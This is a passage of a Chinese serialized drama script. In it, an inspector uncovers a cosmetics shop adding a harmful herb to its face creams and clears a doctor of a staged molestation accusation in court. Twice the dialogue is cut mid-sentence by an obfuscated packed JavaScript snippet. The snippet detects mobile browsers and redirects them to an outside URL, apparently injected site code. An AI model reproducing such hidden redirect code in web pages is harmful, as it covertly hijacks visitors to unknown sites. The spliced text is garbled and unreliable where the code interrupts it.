胡大婶:你的孩子没奶吃,怎么办? 儿子:若能省下这笔钱,咱们可以给孩子雇一个奶娘嘛。 儿媳:是啊,娘!城里那么多人都在用凤仪堂的东西,她们的身子都好好的,也没见过谁出什么毛病,或许我这件事,只是个巧合呢? 儿子:可不是嘛!如果咱们坚持要打这场官司,等最后的调查结果出来了,凤仪堂的东西若没问题,怎么办?到那时,您赔得起吗?咱们全家都指望着那个茶馆挣点儿小钱,如果欧阳世家不肯再租给咱们了,怎么办? 儿媳:是啊,娘!忍一时风平浪静,咱们不吃亏! 胡大婶:你们……唉! 4-57 众康医馆(日,内) 人物:洛宁、冷梦 医馆里,洛宁和冷梦正在对从洛思思和田佳那里借来的凤仪堂面脂进行检验。 洛宁:冷大夫,你那边的情况怎样? 冷梦:无论是外用的面脂还是内服的药丸,每一瓶里都有半日花,且含量不低。 洛宁:我这边也是一样。如此说来,应该不是意外混入,而是人为添加了。 冷梦:凤仪堂从开办到现在,卖出去的面脂不计其数,而我们只检查了其中十瓶,还不能就此断定所有的面脂里都有半日花。 洛宁:嗯,也是,那怎么办呢?总不能把凤仪堂的东西全买下来吧? 冷梦:我倒是有一个办法,不过比较费事儿。 洛宁:什么办法?你说! 冷梦:追根溯源。 洛宁:追根溯源? 冷梦:嗯。欧阳兰兰不是说,凤仪堂的东西是她老家的一位大夫自行配制的吗?如果能拿到他的配方,自然就能解开它的谜。 洛宁:这种秘不外传的东西,想拿到配方何其难也! 冷梦:(耸耸肩)那就只能把凤仪堂的东西全买下来了。 正说着,从外面进来一位妇人,手捂着肚子,唉哟唉哟直叫唤。 冷梦:来病人了。 洛宁:你先去忙吧,我也该回督察府了。 冷梦:好。 4-58 督察府,前院(日,外) 人物:张正清、洛宁、曲二嫂 洛宁才回到督察府没多久,却见刚才那位妇人从外面匆匆奔入,一见到张正清便扑通一声跪了下来。 曲二嫂:督察大人!您可一定要替民妇做主呀! 张正清:怎么了?发生什么事了? 曲二嫂:众康医馆的那个大夫,他……他……呜呜! 见她衣衫凌乱,张正清便明白了过来。 张正清:(问洛宁)怎么回事?你不是才从那边过来吗? 洛宁:我去问问他!(这就要往外走,却被张正清拦住) 张正清:(不放心地)等等,还是我跟你一起去吧! 4-59 众康医馆(日,内) 人物:张正清、洛宁、冷梦、曲二嫂、田佳、百姓若干 张正清和洛宁来到医馆,向冷梦询问情况。 冷梦:患者说她腹痛,我让她躺在床上,正打算给她做检查,她却扯开衣裳、尖叫着跑了出去,我也觉得很意外。 张正清:有人看见你们吗? 冷梦:当时这里只有我和她两个人。 洛宁:怎么会这样?刚才不还好好的吗? 冷梦:清者自清!我只是个大夫,她在我眼里,也只是个病人。我对她没那种想法,更不会做那种事情。 话没说完,外面又传来了喧闹声,原来是那个妇人,正在寻死觅活。 曲二嫂:我不活了!我没脸见人了!你们别拦着我,让我去死吧!(说着便要拿头往墙上撞,被田佳等人拦住,又坐在地上,嚎啕大哭起来) 张正清:(皱着眉头对冷梦)冷大夫,还是请你到我们督察府里走一趟吧! 4-60 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 为冷梦被关进牢里的事,洛宁与张正清争执不休。 洛宁:冷大夫不可能做那种事情! 张正清:你怎么知道? 洛宁:他根本不是那种人! 张正清:你怎么知道? 洛宁:这阵子我天天跟他在一起,他若是想动手动脚,也该从我开始呀! 张正清:说得太对了!别说你想不通,我也觉得挺纳闷儿!你说你这么漂亮的一朵鲜花,天天对着他搔首弄姿,他怎么就无动于衷呢?你说他是不是眼瞎呀? 洛宁:张大哥,你什么意思? 张正清:我替你感到不值呀!你说你一个千金小姐,连面子都不要了,倒过来追求他,结果呢?他竟然看上了一个有夫之妇!你说他是不是哪根筋搭错了呀? 洛宁:张大哥,你到底想说什么? 张正清:小鬼,你不是说嫁人千万不能嫁给沉香国的男人吗?要我说,不仅沉香国的男人不能嫁,连聚胜古都的男人也一样不能嫁! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007381|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛宁:冷大夫不是聚胜古都的人。 张正清:哦,是吗?那可真是不幸中的万幸呀! 洛宁:(没好气地瞪了他一眼)张大哥!事发当时,医馆里只有冷大夫和曲二嫂两个人,除此外,并无第三个人看见他对她动手动脚。如果他是被冤枉的,怎么办?你连审都不审,就这样把他关起来,这不等于告诉大家,他确实做了那种事吗? 张正清:他要是觉得委屈,可以喊冤嘛!你看他自从被关进牢里之后,什么都没说,这不就等于默认了吗? 洛宁:张大哥,我怎么觉得你像是在幸灾乐祸呢? 张正清:(一脸无辜)怎么可能!众康医馆离咱们督察府这么近,冷大夫就跟我的邻居差不多,我也希望他是清白的呀! 洛宁:那你打算什么时候放他出来? 张正清:怎么?你还想进去看看他呀?我可告诉你,他现在是咱们督察府的案犯,你最好离他远点儿,免得人家说我们徇私!若是被我发现你偷偷地进去看他,我连你也一起关起来!哼! 洛宁:用不着!从现在起,我罢工!你什么时候把冷大夫放出来了,我什么时候再来督察府!哼! 张正清:你敢威胁我?!(见她转身就走)给我回来!回来! 梁州,紫蔚城 4-61 欧阳世家,欧阳兰兰的屋子(夜,内) 人物:欧阳兰兰、欧阳明真 得知冷梦被关进牢里,欧阳兰兰喜不自禁。 欧阳明真:县衙那边已经撤案了,冷大夫也被关在了牢里,这下你满意了吧? 欧阳兰兰:(抱住欧阳明真)嘻嘻,还是哥哥对我最好! 欧阳明真:不过话说回来,凤仪堂的东西真的没问题吗? 欧阳兰兰:当然了!我自己也在用,你看看我的脸,这就是最好的答案! 欧阳明真:(点点头)嗯,那就好! 梁州,凤凰城 4-62 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、洛宁 壶里的水刚刚烧开,洛宁便来了。 顾云飞:咦?丫头,这会儿你不是应该去督察府吗?怎么来这里了? 洛宁:(板着脸往椅子上一坐)我罢工了。 顾云飞:(一听便笑了)罢工?这可真是一个新名词!说来听听,为何? 洛宁讲述冷梦被关进牢里的事情。 顾云飞:这么说,你为了冷大夫,跟你们老大杠上了? 洛宁:是他不讲道理! 顾云飞:那你倒是说说,他怎么不讲道理? 洛宁:他把一个好人关进牢里,却让恶人逍遥法外,这不就是不讲道理吗? 顾云飞:这么说,在你眼里,冷大夫是个好人呀? 洛宁:顾云飞,你什么意思?你见过冷大夫吗? 顾云飞:我是没见过,可你又见过他几回呢?他来咱们凤凰城才多久?他以前在聚胜古都时是一个什么样的人,你知道吗? 洛宁:我一大早来这里,不是为了听你说教! 顾云飞:那你打算怎么办?如果他一直不肯放冷大夫出来,你就一直不去督察府吗? 洛宁:我当时是这么说的。 顾云飞:看得出来,你已经后悔了。 洛宁:反正话已经递出去了,他不让步,我也绝不让步。哼! 4-63 督察府,张正清的屋子(日,内) 人物:张正清、田佳 接连几日,洛宁都没来督察府。 张正清(内心独白):小屁孩,竟然真的不来了…… 田佳:(从外面进来)老大,冷大夫的案子什么时候开审? 一听见“冷大夫”这几个字,张正清就火冒三丈。 张正清:你没看见我正在忙吗?你是不是想累死我呀? 田佳:不是我,是冷大夫在问,他说他的医馆里还有事…… 张正清:他有事,咱们就没事呀?你是不是觉得自己很闲呀?要不要我再给多你安排点儿事做? 田佳:不不不!不是!那……那你说怎么办吧? 张正清:先多关他几日,等我这阵子忙完了再说!哼! 田佳:哦,是。 35. 第四篇 表哥和他的朋友 梁州,凤凰城 4-64 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、洛宁 起初的几日,洛宁还四处游玩了一番,后来觉得累了,便天天待在恩威堂里,缠着顾云飞。 顾云飞:丫头,你是不是有点儿太过分了? 洛宁:怎么了? 顾云飞:你看你现在除了睡觉之外,天天都跟我在一起,像话吗? 洛宁:有什么问题吗?你又不是有妇之夫。 顾云飞:可我烦呐! 洛宁:关我什么事呀! 顾云飞:你……你到底去不去? 洛宁:去哪儿? 顾云飞:还能去哪儿?当然是去督察府了! 洛宁:我还在罢工呢,为何要去督察府? 顾云飞:你跟你们老大窝里斗,拿我撒什么气呀?我给你三天时间,要么你自己乖乖过去,要么我送你过去。哼! 洛宁:云飞大哥!要不这样吧,你去给张大哥下一个最后通牒,限他三日之内,把冷大夫放出来! 顾云飞:(白了她一眼)我为何要管这个闲事? 洛宁:因为在凤凰城里,只有你能打败他呀! 顾云飞:你说他不讲道理,你不也不讲道理吗? 洛宁:恶人自有恶人磨。 顾云飞:这么说,在你眼里,我也是个恶人呀?(两眼一瞪,冲着她吼)那你还来我这里干嘛?滚回你的木兰小院去! 洛宁:唉!你们这些当老大的,怎么都是一副德行?哦,不对!无行大哥是个例外! 顾云飞:那你去找他喝茶! 洛宁:用不着!我打算明天去督察府了。 顾云飞:哦,终于肯低头了呀? 洛宁:(眉毛一挑)不是低头,而是宣战! 4-65 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 第二天,洛宁果然出现在督察府里。 张正清:(故作惊讶)咦!这是谁呀?你不是在罢工吗?怎么又来了? 洛宁:我来这里,是为了冷大夫的案子。 张正清:你不是说,我什么时候放他出来了,你什么时候再来督察府吗?怎么我还没把他放出来,你就等不及要来了呢? 洛宁:张大人!冷大夫的案子十天前督察府就已经受理了,为何至今尚未开审?这可不像您一贯的办案风格呀! 张正清:张大人?(眯起眼)小鬼,你来这里,到底想干什么? 洛宁:我想见冷大夫一面。 张正清:那天我已经说得很清楚了,不行! 洛宁:作为他的讼师,也不行吗? 张正清:讼师?这么说,你今天来督察府,是为了打官司呀? 洛宁:正是!而作为督察府的办案人员,我还在罢工中。 张正清:(顿时恼了)小鬼!你已经整整十天没来督察府了,闹够了没? 洛宁:我说过,你什么时候放他出来,我什么时候再来督察府! 张正清:(吼)小屁孩!你是不是非要逼着我跟你翻脸呀? 洛宁:审问之后,如果冷大夫有罪,我任凭你处置! 张正清:这可是你自己说的!你想当讼师是吗?我成全你!但这场官司你若输了,以后就别来督察府了!哼! 4-66 督察府,公堂上(日,内) 人物:张正清、洛宁、田佳、乔捕头、冷梦、曲氏夫妇、捕快若干、百姓若干 冷大夫的案子开审,附近的百姓听闻讼师是洛宁,都纷纷过来看热闹。 张正清:洛姑娘,你是案犯的讼师,不如就由你来发问吧! 洛宁:(作礼)是,张大人! 田佳:(悄悄地问乔捕头)他俩怎么回事呀?一个称呼对方为洛姑娘,另一个称呼对方为张大人,什么意思? 乔捕头:这叫“山雨欲来风满楼”,大家都悠着点儿,千万别触霉头! 洛宁走到曲二嫂的面前,开始发问。 洛宁:你就是曲二嫂? 曲二嫂:正是。 洛宁:十日前,你为何会去众康医馆? 曲二嫂:我的腹痛难忍,想找个大夫给我瞧瞧。 洛宁:你是在什么时候发的病? 曲二嫂:当天下午。 洛宁:发病时,你人在何处? 曲二嫂:就在我自己的家里。 洛宁:你的家又在何处? 曲二嫂:就在城西的保福巷里。 洛宁:城西的保福巷是吗? 曲二嫂:正是。 洛宁:保福巷位于城西,众康医馆位于城东。从保福巷前往众康医馆,须经过至少五条街道。在这五条街道上,分别有万和堂、瑞康堂、景仁堂三个大医馆,其中万和堂离你家最近。你想找大夫给你瞧病,为何不去离你家最近的万和堂,而非要舍近求远、从城西一路赶往城东,来到众康医馆里求诊呢? 曲二嫂:这…… 公堂外的百姓:(纷纷起哄)说呀!快说呀! 乔捕头:(呵斥)肃静! 张正清:曲氏,她在问你话呢,还不快如实作答! 曲二嫂:我……我听说众康医馆的大夫医术还不错,所以想向他求诊。 洛宁:你刚才说,你的腹痛难忍,具体在哪里? 曲二嫂:(指了指自己的肚子)这里。 洛宁:确定是这里? 曲二嫂:没错,就是这里。 洛宁:对于一个女人来说、尤其对于一个已婚的妇人来说,这个地方属于隐私部位,除了自己的丈夫之外,通常不会让别的男人看见、更不会让别的男人轻易触碰。而众所周知,众康医馆里只有冷梦一位大夫,他是个男的!你在去那里之前,考虑过这些吗? 曲二嫂:这…… 洛宁:不仅如此,事发的当天,在离你家最近的万和堂里,就有女大夫坐诊,你为何不去找她? 公堂外的百姓:(纷纷起哄)她肯定是故意想找个男大夫给她瞧病呗!哈哈! 乔捕头:(呵斥)肃静! 张正清:曲氏,还不快回答! 曲二嫂:我……我当时腹痛得厉害,顾不上想那么多!不是有句话叫病急乱投医吗?估计是犯糊涂了! 洛宁:你是腹痛,不是头痛,怎么会犯糊涂? 公堂外的百姓:(纷纷起哄)这还用问吗?肯定是她的脑子也出毛病了呗!哈哈! 乔捕头:(呵斥)肃静! 洛宁:曲二嫂,你因为腹痛难忍,在众康医馆里求诊,却不料发生了那种事情,结果病还没来得及瞧,冷大夫就被张大人带走了。是不是? 曲二嫂:对呀! 洛宁:在那之后,你是否又找过别的大夫给你瞧病? 曲二嫂:我…… 洛宁:找没找过? 张正清:曲氏,你若找过别的大夫,本官自会传唤他到堂作证。 曲二嫂:(急忙摆摆手)没没没、没有!我没找过! 洛宁:没找过?那你的病呢?总不至于它自己好了吧? 曲二嫂:可不就是它自己好了嘛,我也觉得挺奇怪。 洛宁:这么说,你的病在离开众康医馆之后,未经任何医治,立马就好了。啧啧,真奇怪!曲二嫂,你该不会是在装病吧? 田佳扑哧一笑,张正清瞪了她一眼。 曲二嫂:我我我、我没装病!我的病就是时有时无,说好就好了,我也不知道为什么。 公堂外的百姓:(纷纷起哄)你是不知道为什么,但你肚子里的蛔虫肯定知道!哈哈! 乔捕头:(呵斥)肃静!再说把你们都轰出去! 张正清:(板着脸对洛宁)案犯的讼师!无凭无据之事,不可胡乱臆测! 洛宁:是,大人!(又接着问曲二嫂)曲二嫂!你刚才说,你去了众康医馆之后,告诉冷大夫你腹痛难忍,他便让你躺在了床上。 曲二嫂:是的。 洛宁:是他让你躺下的、还是你自己躺下的? 曲二嫂:他是大夫,我当然要听他的。 洛宁:这么说,不是你自己要躺下的,而是他要你这么做的? 曲二嫂:没错。 洛宁:那天你来督察府报案时,我见你衣衫凌乱,胸前的扣子全部散开、裤带也掉了,是不是? 曲二嫂:是的。 洛宁:你的扣子是谁给你解开的?裤带又是谁弄掉的?是冷大夫还是你自己? 曲二嫂:(指着冷梦愤愤地)就是他!哼!他趁着我躺在床上的时候,对我动手动脚…… 冷梦:这位大姐,我连碰都没碰过你。 曲二嫂:你没碰过我?你一个大男人,敢做不敢认了?(向张正清哭诉)大人呐,您可一定要替民妇做主啊!民妇没脸再活下去了!呜呜! 冷梦:你……唉!(叹了口气,不再言语) 张正清:曲氏,如果他确实对你做了那种事情,本官自会还你一个公道。 曲二嫂:(忙不迭作礼)谢谢大人!谢谢大人! 张正清:案犯的讼师,你接着问吧! 洛宁:是,大人!(对着曲二嫂)曲二嫂,正如你刚才所说,你的扣子和裤带,都是冷大夫弄掉的、都不是你自己弄掉的,对不对? 曲二嫂:我为何要自己弄?我要是知道他是一个衣冠禽兽,当初就算是痛死了,也绝不会去众康医馆!哼! 洛宁:既然都是冷大夫弄掉的,那么他当时是先解开了你的扣子、还是先解开了你的裤带? 听了这话,公堂外的百姓哈哈大笑,张正清也不满地干咳两声,瞪了洛宁一眼。 曲二嫂:这种事情怎么好意思说出口。 洛宁:既然是在审案子,就一定要查明真相。张大人,我请求您让曲二嫂能如实地回答这个问题。 张正清:曲氏,你说吧! 曲二嫂:他……他先解开了我的上衣,接着又去摸我的裤带。 洛宁:你确定? 曲二嫂:这有什么不确定的?我还不至于连这个都分不清楚。 洛宁:按照你的说法,冷大夫当时是先解开了你的上衣,然后才去摸你的裤带。那我倒要问问你,他解开你上衣的时候,你为何不反抗?为何要等到他弄掉了你的裤带之后,才突然想起来要反抗呢? 公堂外的百姓:(纷纷起哄)这还用问吗?她肯定是巴不得人家来摸她了!哈哈! 乔捕头/田佳:(呵斥)肃静!肃静!肃静! 曲二嫂:我……我当时被吓蒙了,不知道该如何反抗。 洛宁:你明知道他是个男大夫,却偏要向他求诊;他让你躺在床上,你便乖乖地躺在床上;他来解开你的上衣,你也丝毫不反抗。明明有不少于三次的机会,可以让你全身而退,而你都错过了。这是否意味着,你从一开始就打算顺从他呢? 公堂外的百姓:(纷纷起哄)什么被吓蒙了,分明就是在装傻嘛!哈哈! 张正清:(拍惊堂木)都给我闭嘴! 一个男人从外面闯了进来,指着曲二嫂便骂。 曲衡:臭婆娘!又在外面招摇撞骗! 他抡起拳头,这就要打曲二嫂,吓得曲二嫂慌忙躲避,乔捕头等人上前,将男人按住。 张正清:你是谁?知道这里是什么地方吗?为何要擅闯公堂? 洛宁:张大人,这位大哥便是曲二嫂的丈夫。 张正清:哦,你就是曲氏的丈夫? 曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007382|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡:(指着曲二嫂对张正清)回大人的话,小民曲衡,正是这个臭婆娘的男人。 张正清:(对着乔捕头)先放开他!(又对着曲衡)曲衡,你的妻子遭人调戏,你是否知道此事? 曲衡:先前不知道,在接到洛姑娘的口信之后,方才知道。 张正清斜了洛宁一眼,她正在偷笑。 张正清:(又接着问曲衡)身为她的丈夫,你不仅不安慰她,反倒还想打她,为何? 曲衡:回大人的话,小民在别处干活儿,两三个月才回来一次,这个臭婆娘耐不住寂寞,每每趁着小民不在家的时候,四处招摇撞骗。小民的脸都被她丢尽了! 曲二嫂:不过是骗点儿钱而已,又没干什么出格的事! 曲衡:(指着曲二嫂骂)左邻右舍,但凡是个男人,无论老的小的,个个都占过你的便宜。你知道人家怎么笑话我吗?人家说我是个软柿子,管不住自己的婆娘!我为何躲在外面不敢回来,不就是因为你这个臭婆娘吗?你闹归闹,今儿竟然上了公堂,这下全城的人都知道了,你让我的脸往哪儿搁? 曲衡越说越气,揪住曲二嫂就要开打,曲二嫂吓得尖叫一声,逃了出去。围观的百姓哈哈大笑。 张正清:(没好气地)小鬼,谁让你把他叫过来的? 洛宁:自己的老婆在外面受了委屈,身为丈夫,能不第一个赶到现场吗? 张正清:看来你这几日在家里,可一点儿也没闲着呀! 洛宁:张大哥,如今你已经查明了真相,是不是可以放了冷大夫呢? 张正清:结案的手续还没办,你现在依然是他的讼师,为了避免别人说闲话,你还是叫我张大人比较好。哼! 洛宁:知道啦,张大人!嘻嘻! 4-67 督察府,前门(日,外) 人物:冷梦、洛宁、张正清 临走之前,冷梦对洛宁道。 冷梦:洛姑娘,这次的事真要谢谢你了。 洛宁:给朋友帮点儿小忙,不算什么。 冷梦:半日花的事,你还在查吗? 洛宁:呀,这几日忙着打官司,把这件事给耽误了。不过你别担心,我一定会查个明白! 冷梦:有需要的话,你可以随时来医馆找我。 洛宁:嗯,好。 见冷梦还没有走的意思,张正清有些不耐烦。 张正清:喂喂喂!你俩在聊什么呀?是不是觉得这阵子没见面,有说不完话呀?要不要我把你俩关进牢里,让你俩好好地说个够呀? 洛宁:张大哥,我正在跟人家冷大夫聊正事呢! 张正清:你跟他聊正事?督察府的事你还干不干了? 冷梦:洛姑娘,你先去忙吧,那件事我们以后再谈。 洛宁:唉,好吧。 冷梦走后,洛宁转身回督察府,却被张正清挡在了门口。 张正清:小鬼,你不是还在罢工吗?谁让你进来的? 洛宁:张大哥,冷大夫已经被无罪释放,我的罢工也就结束了。 张正清:你说结束就结束呀?到底是我是你的上司、还是你是我的上司? 洛宁:那你说怎么办吧! 张正清:你不是十天没来吗?这十天的薪水全扣光! 洛宁:才十天而已,扣就扣呗! 张正清:对一个堂堂洛府千金来说,这十天的薪水确实不值一提。不过,如果你在太阳下山之前,不能把这十天内攒下的活儿全部干完的话,我扣你半年薪水! 洛宁:扣半年?太狠了吧! 张正清:小鬼,你不是冷大夫的讼师吗?你可以向他索要讼金嘛,这样不就找补回来了吗?哈哈哈! 4-68 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:顾云飞、洛宁 顾云飞一边泡茶,一边没好气地白了洛宁一眼。 顾云飞:你这个丫头,嘴上说罢工,其实却在查案。你这么勤勉,张督察知道吗? 洛宁:他扣了我半年的薪水,你说呢? 顾云飞:(扑哧一笑)这种出力不讨好的事,以后还想干吗? 洛宁:也不是完全不讨好,至少冷大夫对我的态度,比之前热情了许多。 顾云飞:我听银华说,那家伙说话太直,气走了不少病人。那个曲二嫂,是不是也因为这样,才会故意陷害他? 洛宁:他俩之前好像并不认识。 顾云飞:那她为何要挑他下手? 洛宁:我也不太明白。或许因为他是从聚胜古都来的,在这里无依无靠,所以觉得他好欺负吧。 顾云飞:(点点头)也许吧。 洛宁:(打了个哈欠)你的茶泡好了没?我好困呀! 顾云飞:(瞪了她一眼)急什么! 等他泡好了茶、把茶杯递给她的时候,她已经伏在桌上睡着了。 顾云飞:(心疼地望着她)唉!为了别人的事,这么辛苦值吗? 梁州,紫蔚城 4-69 欧阳世家,欧阳兰兰的屋子(夜,内) 人物:欧阳兰兰、欧阳明真 得知冷梦被释放,欧阳兰兰恼火不已。 欧阳兰兰:宁姐姐呀宁姐姐,你为何要管他的闲事? 欧阳明真:他是大夫,又是聚胜古都的人,宁儿关照他也是自然。至于那个曲二嫂,她本来就是个泼妇,就算他们怀疑是咱们在背后指使,也拿不出任何证据来。 欧阳兰兰:才在牢里待了几天就出来了,真是太便宜他了! 欧阳明真:众康医馆原本就没什么病人,如今出了这档子事,怕是更难为继,相信用不了多久,即使咱们不赶他走,他自己也会乖乖地离开凤凰城。 欧阳兰兰:那样最好!哼! 36. 第四篇 表哥和他的朋友 梁州,凤凰城 4-70 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、荷香 木兰小院里,洛宁正打算熄灯就寝,却见洛青身边的丫鬟荷香急匆匆地来了。 荷香:二小姐,大小姐请您快过去一趟! 洛宁:都这么晚了,什么事呀? 荷香:思思姑娘病了。 洛宁:甜妞儿?她不是向来身子骨挺结实吗?怎么会病了? 荷香:这个病来得突然,您还是去看看吧,寒大夫也在那里。 洛宁:有寒冰在,还要我去干嘛? 荷香:这是大小姐的意思,您还是快过去吧! 洛宁:唉,好吧! 4-71 洛府,洛思思的屋子(夜,内) 人物:洛青、洛宁、洛思思、寒冰 屋里,洛思思已经哭成了泪人儿。 洛思思:青儿!你说我该怎么办呢?你瞧瞧我这张脸,以后可怎么见人啊!呜呜! 洛青:(望着洛思思的脸发愁)唉,是啊!前阵子还好好的,怎么突然就变成这样了? 寒冰:(笑着问)甜妞儿!你这张脸看上去像是被马蜂蜇了,你应该没捅马蜂窝吧? 洛青:(白了他一眼)甜妞儿又不是小孩子,怎么可能去捅马蜂窝? 寒冰:那你是不是吃错什么东西了? 洛青:如果吃错东西的话,也不该只是脸变成这样。 洛思思:是啊!我这阵子除了偶尔跟黄毅出去一趟之外,天天都跟青儿在一起,她吃什么我吃什么,如果吃错东西的话,也不该只是我的脸变成这样。更何况,我从小到大不管吃什么东西,都没闹过毛病!呜呜! 寒冰:那就是水土不服了。 洛青:甜妞儿已经回来大半年了,怎么可能水土不服? 寒冰:要不然就是……花粉症? 洛青:都快入秋了,哪来什么花粉? 寒冰:什么都不是的话,那又是怎么回事? 洛青:可不是嘛,真是急死我了!宁儿呢?她怎么还没来? 洛宁:(从外面进来)姐!甜妞儿怎么样了?还好吗? 洛青:唉,你终于来了,快过来瞧瞧,甜妞儿的脸是怎么回事? 洛宁:(定睛一看吓一跳)呀!怎么变成这样了? 洛思思:我也不知道啊!之前还好好的,早上突然觉得有点儿痒,我就挠了几下,没想到晚上就变成这样了!呜呜! 洛青:你挠它做什么? 洛思思:我只是轻轻地挠了几下而已,没敢用力。 寒冰:(忍不住笑了)没用力就挠成这样,若是再用点儿力,岂不是要皮开肉绽了? 洛青:(瞪了寒冰一眼)寒冰!你瞧瞧人家甜妞儿都哭成什么样子了,你竟然还有心情在这里说笑? 寒冰:跌打损伤我在行,这女孩子脸上的事,我还真没辙。宁儿,要不你来说说,这是怎么回事? 洛宁:(想了想)甜妞儿!之前我找你借的凤仪堂的东西,你还在用吗? 洛思思:前几日刚刚用完,我还打算再去买一盒呢! 洛宁:这么说,你这几日并没有用凤仪堂的面脂? 洛思思:对呀,怎么了? 洛宁:你之前用凤仪堂的东西时,有没有出现过这种情况? 洛思思:没有啊!之前一直好好的,也就是今天才觉得脸上不舒服。咦?宁儿,你该不会是想说,我的脸之所以肿成这样,是因为没用凤仪堂面脂的缘故吧? 洛宁:寒冰,你觉得呢? 寒冰:我想她的脸可能是已经习惯了凤仪堂的面脂,一停下来就会出毛病。 洛青:如果是这样,反倒好办了!我这就派人去给你买一盒! 洛宁:着什么急呀?凤仪堂这会儿还没开门呢! 洛青:也是啊!甜妞儿,你别担心,等明早天一亮,我立刻派人去买! 4-72 洛府,花园(夜,外) 人物:洛宁、寒冰 回木兰小院的路上,洛宁问寒冰。 洛宁:寒冰,刚才你说甜妞儿的脸“已经习惯了凤仪堂的面脂,一停下来就会出毛病”,对不对? 寒冰:对呀,怎么了? 洛宁:你平常给病人开止痛药,都是在什么情况下? 寒冰:什么情况下?当然是身子出了毛病、疼痛难忍的时候。 洛宁:如果身子没毛病呢? 寒冰:没毛病又何须吃药? 洛宁:吃了止痛药之后,病是否就好了? 寒冰:只能暂时缓解疼痛,无法根治。你也是个大夫,为何突然想起来问这个? 洛宁:同样的道理,甜妞儿的脸在用凤仪堂的面脂之前,有没有什么毛病? 寒冰:除了糙点儿、黑点儿之外,倒也没什么大的毛病。 洛宁:是否肿过? 寒冰:不曾肿过。(仿佛察觉到了什么)咦,你的意思是…… 洛宁:既然不曾肿过,为何停用之后,反倒肿了? 寒冰:你的意思是,她的脸肿和不肿,全是因为凤仪堂面脂的缘故? 洛宁:用了就不肿,一停下就肿,如此以来,即使不想用,也不得不一直用下去了。 寒冰:怎么会这样?你该不会发现了什么吧? 洛宁讲述跟冷梦一起调查凤仪堂面脂的事。 寒冰:半日花?这种东西怎么能添加在面脂里? 洛宁:你不仅擅长给人治病,也擅长给小动物治病,所以应该比我更了解半日花。 寒冰:这种东西原本是野外一种很不起眼的小花儿,牛羊吃过之后,会增加发情的次数。所以在繁殖的季节,牧民为了提高产崽的数量,会刻意在草料中添加一些。 洛宁:添加在人用的面脂里,会怎样? 寒冰:如果加的不多,短期内应该不会出什么问题,但如果加的多的话…… 洛宁:会怎样? 寒冰:如果加的多,又长期使用的话,身子肯定会出毛病。 洛宁:什么毛病? 寒冰:轻则男变女、女变男,重则不孕不育、断子绝孙。 洛宁:天哪!这未免也太可怕了!照这么说,甜妞儿的脸上岂不是要长出胡子了? 寒冰:她若一直用下去,难保不会变成那样。你刚才在她面前,为何不提此事? 洛宁:这件事目前只是推测,尚未有定论。更何况,有我姐在,她若听了,肯定会劝我息事宁人。 寒冰:因为欧阳兰兰吗? 洛宁:你说呢? 寒冰:那你接下来打算怎么办?还要继续追查吗? 洛宁:你又不是不了解我的性子,我若不把这件事弄个明白,又怎会善罢甘休?(又皱起眉头)只可惜…… 寒冰:只可惜什么? 洛宁:想要证明凤仪堂的每一样东西里都有半日花的话,就必须先拿到它的配方。不过这件事,可比从督察府的大牢里救出冷大夫难多了! 寒冰:(想了想)还有另一个办法。 洛宁:另一个办法?是什么?你快说! 寒冰:如果凤仪堂的每一样东西里都有半日花、且含量不低的话,这就意味着在加工的过程中,需要囤积大量的半日花,而野外的半日花数量并不多…… 洛宁:你的意思是,有人在种半日花? 寒冰:只要查到是谁在种、种在哪里、销往何处,一切不就真相大白了吗? 洛宁:寒冰,你可真是太聪明了!哈哈! 她忍不住抱了他一下,然后笑着跑开了。 寒冰:(望着她的背影)有这样一份坚持,又何愁查不出真相呢? 4-73 督察府,张正清的屋子(日,内) 人物:张正清、洛宁、乔捕头、杜知县 张正清把洛宁叫了过去,递给她一张信纸。 张正清:这是什么? 洛宁:(定睛一看)呀!张大哥,这上面不是你的笔迹吗?你给谁写的信呀? 张正清:可不是嘛!连我的笔迹都敢模仿,还有什么坏事你干不出来? 洛宁:(一脸懵)有这等事?我怎么不知道? 张正清:小鬼,你装腔作势的本领还真是越来越纯熟了!不过这一回,你失算了!哼哼! 洛宁:什么意思? 张正清:各府督察之间的书信往来,有其特殊和秘密的方式,目的就是为了避免被你这样的小鬼钻了空子。哼哼! 洛宁:特殊和秘密的方式?什么方式? 张正清:想知道是吗? 洛宁:对呀!张大哥,你快告诉我吧,以后我也可以帮你甄别信件的真假呀! 张正清:做梦!哼! 洛宁:(撅起嘴)就算这封信是伪造的,也未必是我干的呀! 张正清:除了你之外,还有谁会打听半日花? 洛宁:半日花?什么东西?我还是头一回听说呢! 张正清:装!接着装!反正你想调查半日花,不经过我,休想得到任何消息! 洛宁:张大哥,你又不是不知道我的好奇心重,你说一半藏一半,算什么呀? 张正清:你不也是说一半藏一半吗? 洛宁:我有吗? 张正清:这封信不就是吗?说!你到底想干什么? 洛宁:信上不都写了吗?你自己不会读啊? 张正清:我要你亲口说给我听! 